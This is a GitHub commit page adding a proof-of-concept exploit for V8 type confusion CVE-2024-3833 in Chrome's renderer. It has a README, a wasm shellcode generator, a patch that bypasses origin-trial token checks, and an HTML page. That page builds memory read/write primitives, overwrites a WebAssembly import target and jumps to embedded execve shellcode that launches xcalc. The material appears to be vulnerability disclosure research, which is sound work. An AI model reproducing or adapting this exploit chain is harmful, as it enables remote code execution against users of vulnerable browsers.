-
Notifications
You must be signed in to change notification settings - Fork 253
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #840 from github/chrome_3833
Block material
- Loading branch information
Showing
4 changed files
with
346 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
## V8 type confusion CVE-2024-3833 | ||
|
||
The analysis of this bug can be found [here](https://github.blog/2024-06-26-attack-of-the-clones-getting-rce-in-chromes-renderer-with-duplicate-object-properties). | ||
|
||
The exploit here is tested on the official build of Chrome version 123.0.6312.58, on Ubuntu 22.04. The following build config was used to build Chromium: | ||
|
||
``` | ||
is_debug = false | ||
symbol_level = 1 | ||
blink_symbol_level = 1 | ||
dcheck_always_on = false | ||
is_official_build = true | ||
chrome_pgo_phase = 0 | ||
v8_symbol_level = 1 | ||
``` | ||
|
||
The bug depends on an origin trial and to emulate it locally, the patch `trial-token.patch` should be applied before building Chrome. | ||
|
||
If successful, on Ubuntu 22.04, it should call launch `xcalc` when `wasm_poc.html` is opened in Chrome. | ||
|
||
Shell code and some addresses may need changing on other platforms. | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
d8.file.execute("/home/mmo/chrome_pocs/v8_test/wasm/wasm-module-builder.js"); | ||
|
||
const importObject = { | ||
imports: { imported_func : Math.sin}, | ||
}; | ||
|
||
|
||
var builder = new WasmModuleBuilder(); | ||
let array = builder.addArray(kWasmF64, true); | ||
|
||
var sig_index = builder.addType(kSig_d_d); | ||
|
||
builder.addImport("imports", "imported_func", sig_index); | ||
builder.addFunction("main", sig_index) | ||
.addBody([kExprLocalGet, 0, kExprCallFunction, 0]) | ||
.exportAs("main"); | ||
//jumps: 0x45, 0x48 for d8 | ||
//0x1d, 0x20 for chrome | ||
builder.addFunction("make_array", makeSig([], [wasmRefNullType(array)])) | ||
.addLocals(wasmRefNullType(array), 1) | ||
.addBody([kExprI32Const, 18, kGCPrefix, kExprArrayNewDefault, array, kExprLocalSet, 0, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 0, | ||
kExprF64Const, 0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xeb, 0x1d, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 1, | ||
kExprF64Const, 0x68, 0x6c, 0x63, 0x00, 0x00, 0x90, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 2, | ||
kExprF64Const, 0x68, 0x2f, 0x78, 0x63, 0x61, 0x58, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 3, | ||
kExprF64Const, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x5b, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 4, | ||
kExprF64Const, 0x90, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 5, | ||
kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x5f, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 6, | ||
kExprF64Const, 0x56, 0x57, 0x54, 0x5e, 0x90, 0x90, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 7, | ||
kExprF64Const, 0x68, 0x3a, 0x30, 0x2e, 0x30, 0x90, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 8, | ||
kExprF64Const, 0x68, 0x4c, 0x41, 0x59, 0x3d, 0x58, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 9, | ||
kExprF64Const, 0x68, 0x44, 0x49, 0x53, 0x50, 0x5b, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 10, | ||
kExprF64Const, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0x90, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 11, | ||
kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x90, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 12, | ||
kExprF64Const, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 13, | ||
kExprF64Const, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0, | ||
kExprI32Const, 14, | ||
kExprF64Const, 0x0f, 0x05, 0x5a, 0x31, 0xd2, 0x52, 0xeb, 0x20, | ||
kGCPrefix, kExprArraySet, array, | ||
kExprLocalGet, 0]) | ||
.exportFunc(); | ||
|
||
var wasmBuffer = builder.toBuffer(false); | ||
var bufStr = '[' | ||
for (let i = 0; i < wasmBuffer.length - 1; i++) { | ||
bufStr += wasmBuffer[i] + ','; | ||
} | ||
bufStr += wasmBuffer[wasmBuffer.length - 1] + ']'; | ||
console.log(bufStr); |
31 changes: 31 additions & 0 deletions
31
SecurityExploits/Chrome/v8/CVE_2024_3833/trial-token.patch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
diff --git a/third_party/blink/common/origin_trials/trial_token.cc b/third_party/blink/common/origin_trials/trial_token.cc | ||
index e3a28923fce19..70c24dd445066 100644 | ||
--- a/third_party/blink/common/origin_trials/trial_token.cc | ||
+++ b/third_party/blink/common/origin_trials/trial_token.cc | ||
@@ -116,6 +116,17 @@ OriginTrialTokenStatus TrialToken::Extract( | ||
std::string* out_token_payload, | ||
std::string* out_token_signature, | ||
uint8_t* out_token_version) { | ||
+ | ||
+ if (token_text.length() > kMaxTokenSize || public_key.size() == 0 || token_text.length() < kPayloadOffset) { | ||
+ return OriginTrialTokenStatus::kMalformed; | ||
+ } | ||
+ | ||
+ *out_token_payload = token_text; | ||
+ *out_token_signature = "1234"; | ||
+ *out_token_version = kVersion2; | ||
+ return OriginTrialTokenStatus::kSuccess;; | ||
+ | ||
+/* | ||
if (token_text.empty()) { | ||
return OriginTrialTokenStatus::kMalformed; | ||
} | ||
@@ -178,6 +189,7 @@ OriginTrialTokenStatus TrialToken::Extract( | ||
*out_token_payload = token_contents.substr(kPayloadOffset, payload_length); | ||
*out_token_signature = std::string(signature); | ||
return OriginTrialTokenStatus::kSuccess; | ||
+ */ | ||
} | ||
|
||
// static | ||
-- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,201 @@ | ||
<html> | ||
<body> | ||
<script> | ||
const importObject = { | ||
imports: { imported_func : Math.sin}, | ||
}; | ||
|
||
var tag = new WebAssembly.Tag({parameters : ["i32", "i64"]}); | ||
//Generated using import_shell.js | ||
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,136,2,2,6,0,32,0,16,0,11,254,1,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,49,246,49,210,49,192,235,29,251,14,0,32,0,65,1,68,104,108,99,0,0,144,235,32,251,14,0,32,0,65,2,68,104,47,120,99,97,88,235,32,251,14,0,32,0,65,3,68,104,47,98,105,110,91,235,32,251,14,0,32,0,65,4,68,144,144,72,193,224,32,235,32,251,14,0,32,0,65,5,68,72,1,216,80,84,95,235,32,251,14,0,32,0,65,6,68,86,87,84,94,144,144,235,32,251,14,0,32,0,65,7,68,104,58,48,46,48,144,235,32,251,14,0,32,0,65,8,68,104,76,65,89,61,88,235,32,251,14,0,32,0,65,9,68,104,68,73,83,80,91,235,32,251,14,0,32,0,65,10,68,144,72,193,224,32,144,235,32,251,14,0,32,0,65,11,68,72,1,216,80,84,144,235,32,251,14,0,32,0,65,12,68,65,90,82,65,82,84,235,32,251,14,0,32,0,65,13,68,90,184,59,0,0,0,235,32,251,14,0,32,0,65,14,68,15,5,90,49,210,82,235,32,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121] | ||
); | ||
var view = new ArrayBuffer(24); | ||
var dblArr = new Float64Array(view); | ||
var intView = new Uint32Array(view); | ||
var bigIntView = new BigInt64Array(view); | ||
|
||
function ftoi32(f) { | ||
dblArr[0] = f; | ||
return [intView[0], intView[1]]; | ||
} | ||
|
||
function i32tof(i1, i2) { | ||
intView[0] = i1; | ||
intView[1] = i2; | ||
return dblArr[0]; | ||
} | ||
|
||
function itof(i) { | ||
bigIntView = BigInt(i); | ||
return dblArr[0]; | ||
} | ||
|
||
function ftoi(f) { | ||
dblArr[0] = f; | ||
return bigIntView[0]; | ||
} | ||
|
||
function addrOf(obj, dblOffset) { | ||
oobObjArr[0] = obj; | ||
if (dblOffset % 2 == 0) { | ||
var addrDbl = oobDblArr[dblOffset/2]; | ||
return ftoi32(addrDbl)[0] - 8; | ||
} | ||
var addrDbl = oobDblArr[(dblOffset - 1)/2]; | ||
return ftoi32(addrDbl)[1] - 8; | ||
} | ||
|
||
function read(addr, dblArrOffset) { | ||
var oldValue = oobDblArr[dblArrOffset]; | ||
oobDblArr[dblArrOffset] = i32tof(addr, 8); | ||
var out = ftoi32(oobDblArr2[0]); | ||
oobDblArr[dblArrOffset] = oldValue; | ||
return out; | ||
} | ||
|
||
function write(addr, val1, val2, dblArrOffset) { | ||
var oldValue = oobDblArr[dblArrOffset]; | ||
oobDblArr[dblArrOffset] = i32tof(addr, 8); | ||
oobDblArr2[0] = i32tof(val1, val2); | ||
oobDblArr[dblArrOffset] = oldValue; | ||
return; | ||
} | ||
|
||
function searchByteArray(byteArrayMap, start, length) { | ||
for (let thisAddr = start; thisAddr < start + length; thisAddr += 4) { | ||
var val = read(thisAddr, dblOffset); | ||
if (val[0] == byteArrayMap) { | ||
return thisAddr + 8; | ||
} | ||
} | ||
} | ||
|
||
|
||
function clone0(x) { | ||
return {...x}; | ||
} | ||
|
||
function set_length(x) { | ||
x.c4.len = 1000; | ||
} | ||
|
||
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3}; | ||
obj0.c4 = {len : 1}; | ||
var obj1 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3}; | ||
obj1.c4 = {len : 1}; | ||
for (let i = 0; i < 20; i++) { | ||
clone0(obj0); | ||
} | ||
set_length(obj1); | ||
for (let i = 0; i < 20000; i++) { | ||
set_length(obj0); | ||
} | ||
|
||
var a8 = {c : 1}; | ||
var a7 = clone0(obj0); | ||
|
||
function transition_store(x) { | ||
x.a7 = 0x100; | ||
} | ||
//PropertyArray | ||
function transition_store2(x) { | ||
x.a8 = a8; | ||
} | ||
|
||
function clone(x) { | ||
return {...x}; | ||
} | ||
|
||
var x = WebAssembly.Tag.prototype; | ||
x.type = {}; | ||
x.a1 = 1; | ||
delete x.constructor; | ||
delete x[Symbol.toStringTag]; | ||
x.a2 = 1; | ||
x.a3 = 1; | ||
x.a4 = 1; | ||
x.a5 = 1; | ||
x.a6 = 1; | ||
var y = {}; | ||
y.__proto__ = x; | ||
meta = document.createElement('meta'); | ||
meta.httpEquiv = 'Origin-Trial'; | ||
meta.content = '{"origin" : "http://localhost:8000", "feature": "WebAssemblyJSPromiseIntegration", "expiry": 1719702000}'; | ||
document.head.appendChild(meta); | ||
y.a = 1; | ||
z = y.a; | ||
var obj = {...x}; | ||
obj.type = 1; | ||
for (let i = 1; i < 7; i++) { | ||
obj['a'+i] = {a : 1}; | ||
} | ||
for (let i = 0; i < 20; i++) { | ||
obj = clone(x); | ||
} | ||
obj.x = 1; | ||
var obj2 = {...obj}; | ||
var obj3 = {...obj}; | ||
var val = {c : 1}; | ||
transition_store(obj3); | ||
transition_store2(obj3); | ||
for (let i = 0; i < 20000; i++) { | ||
var tmp = {...obj2}; | ||
transition_store(tmp); | ||
transition_store2(tmp); | ||
} | ||
obj = clone(x); | ||
obj.x = 1; | ||
transition_store(obj); | ||
transition_store2(obj); | ||
var oobDblArr = [1.1]; | ||
var oobObjArr = [view, 0x42, 0x43]; | ||
oobObjArr[0] = 0x41; | ||
var oobDblArr2 = [1, 1.5, 2, 2.5]; | ||
for (let i = 9; i < 15; i++) { | ||
obj['a' + i] = oobDblArr; | ||
} | ||
set_length(a7); | ||
var dblOffset = null; | ||
for (let i = 0; i < 20; i++) { | ||
var elem = ftoi32(oobDblArr[i]); | ||
if (elem[0] == 6 && elem[1] == 2 * 0x41) { | ||
let next = ftoi32(oobDblArr[i + 1]); | ||
if (next[0] == 2 * 0x42 && next[1] == 2 * 0x43) { | ||
dblOffset = 2 * i + 1; | ||
} | ||
} else if (elem[1] == 6) { | ||
let next = ftoi32(oobDblArr[i + 1]); | ||
if (next[0] == 2 * 0x41 && next[1] == 2 * 0x42) { | ||
dblOffset = 2 * (i + 1); | ||
} | ||
} | ||
} | ||
|
||
var oobObjAddr = addrOf(oobObjArr,dblOffset); | ||
var oobDblAddr = addrOf(oobDblArr,dblOffset); | ||
var oobDblAddr2 = addrOf(oobDblArr2,dblOffset); | ||
var dblIndexOffset = Math.floor((oobDblAddr2 - oobDblAddr - 0x18)/8); | ||
|
||
var tagAddr = addrOf(tag, dblOffset); | ||
var byteArray = read(tagAddr + 12, dblIndexOffset)[0]; | ||
var byteArrayMap = read(byteArray - 8, dblIndexOffset)[0]; | ||
|
||
var module = new WebAssembly.Module(wasmBuffer); | ||
var tmpObj = {}; | ||
var instance = new WebAssembly.Instance(module, importObject); | ||
var moduleAddr = addrOf(tmpObj, dblOffset); | ||
var importTargets = searchByteArray(byteArrayMap, moduleAddr + 200, 40); | ||
var instr_start = read(importTargets, dblIndexOffset); | ||
|
||
var msg = 'importTargets: 0x' + importTargets.toString(16) + ' instr_start: 0x' + instr_start[1].toString(16) + instr_start[0].toString(16); | ||
var func = instance.exports.make_array; | ||
func(); | ||
|
||
write(importTargets, instr_start[0] + 0xe + 0x100, instr_start[1], dblIndexOffset); | ||
var exported = instance.exports.main; | ||
exported(); | ||
exported(); | ||
|
||
</script> | ||
</body> | ||
</html> |